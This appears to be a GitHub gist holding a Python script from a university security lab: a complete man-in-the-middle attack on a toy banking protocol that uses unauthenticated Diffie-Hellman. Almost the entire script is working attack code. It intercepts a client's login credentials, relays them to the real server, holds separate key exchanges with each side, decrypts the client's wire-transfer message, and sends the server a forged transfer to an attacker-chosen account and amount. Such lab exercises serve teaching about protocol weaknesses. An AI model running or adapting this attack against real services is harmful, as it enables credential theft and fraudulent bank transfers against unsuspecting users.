Skip to content

Instantly share code, notes, and snippets.

@Mononofu
Created May 28, 2013 08:04
Show Gist options
  • Save Mononofu/5661215 to your computer and use it in GitHub Desktop.
Save Mononofu/5661215 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
'''
SecEnv InetSec
DH key exchange and encryption
Curtesy of your friendly neighbourhood WDE assitant.
Just remember: We Don't Exist!
'''
import argparse
import socket
import base64
from Crypto.Cipher import DES3
from Crypto.Util import number
from Crypto.Hash import SHA256
def bind(args):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("", int(args.listen_port)))
return s
def connect(args):
s = socket.socket()
s.connect((args.server_host, args.server_port))
return s
def parse_dh_params(s):
dh_params, server_pub_key, _ = s.split("\n")
p, g, bitsize = dh_params.split(",")
return (int(p), int(g), int(bitsize), int(base64.b64decode(server_pub_key)))
def gen_keys(p, g, bitsize):
print "Gen keys with %d bits" % (bitsize + 1)
priv_key = number.getRandomNBitInteger(bitsize + 1)
pub_key = pow(g, priv_key, p)
return priv_key, pub_key
def encrypt_msg(key, plaintext):
des = DES3.new(key, DES3.MODE_ECB)
return des.encrypt(plaintext +
(' ' * (8 - (len(plaintext) % 8))))
def decrypt_msg(key, cryptext):
des = DES3.new(key, DES3.MODE_ECB)
return des.decrypt(cryptext)
def parse_transfer(transfer):
return int(transfer.split("\n")[2].split(":")[-1])
def connect_and_transfer_funds(args):
#open a connection to server
server = bind(args)
server.listen(1)
conn, addr = server.accept()
print "got connection: ", addr
# send banner to client
conn.send("EHLO <safest bank customer login>\n")
credential_string = conn.recv(4096)
print "credentials from client: '%s'" % credential_string
s = connect(args)
#receive ehlo from server
print "header from server: '%s'" % s.recv(4096)
#pass authentication string to real server
s.send(credential_string)
#check reply
print "server auth reply: '%s'" % s.recv(4096)
# send OK to client
conn.send("OK\n")
#get DH params from real server
p, g, bitsize, server_pubkey = parse_dh_params(s.recv(4096))
print "server pub_key: '%s'" % server_pubkey
# generate our public key
privkey, pubkey = gen_keys(p, g, bitsize)
# send DH params + our public key to client
conn.send("%d,%d,%d\n%s\n" % (p, g, bitsize, base64.b64encode(str(pubkey))))
# receive public key from client, reply with OK
client_pubkey = int(base64.b64decode(conn.recv(4096)))
conn.send("OK\n")
#send our public key to the real server
s.send(base64.b64encode(str(pubkey)) + "\n")
#check server reply
print "server key ok: '%s'" % s.recv(4096)
#calculate the shared encryption keys
server_shared_key = pow(server_pubkey, privkey, p)
client_shared_key = pow(client_pubkey, privkey, p)
# receive encrypted transfer from the client
encrcypted_transfer = base64.b64decode(conn.recv(4096))
# generate shared key for client
hash = SHA256.new()
hash.update(str(client_shared_key))
client_key_str = hash.digest()[:24]
# decrypt it
transfer = decrypt_msg(client_key_str, encrcypted_transfer)
print "decrypted transfer: ", transfer
source_account = parse_transfer(transfer)
print "Destination: ", source_account
# generate sharedy key for server
hash = SHA256.new()
hash.update(str(server_shared_key))
server_key_str = hash.digest()[:24]
message = format_message_for_transfer(source_account, args.dst_acc, args.amount)
print "generated message: ", message
# encrypt transfer with shared secret for server
msg = encrypt_msg(server_key_str, message)
# send encrypted message
s.send(base64.b64encode(msg) + "\n")
#check server reply
print "server answer to transfer: '%s'" % s.recv(4096)
s.shutdown(1)
s.close()
def format_message_for_transfer(src, dst, amt):
msg =\
'---------- secure banking wire transfer message ----------\n'+\
'Destination Acc.no.: {0:015d}\n'.format(dst)+\
'Source Acc.no. : {0:015d}\n'.format(src)+\
'Amount (in US$) : {0:015d}\n'.format(amt)+\
'------------------ end of wire transfer ------------------\n'
return msg
if __name__ == '__main__':
parser = argparse.ArgumentParser(description = 'Sample Client SecLab MITM')
parser.add_argument('listen_port', type=int, help = 'The port the mitm app listens on.')
parser.add_argument('server_host', help = 'The host the server listens on.')
parser.add_argument('server_port', type = int, help = 'The port the server listens on.')
parser.add_argument('dst_acc', type = int, help = 'The destination account number')
parser.add_argument('amount', type = int, help = 'The amount to transfer')
args = parser.parse_args()
connect_and_transfer_funds(args)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment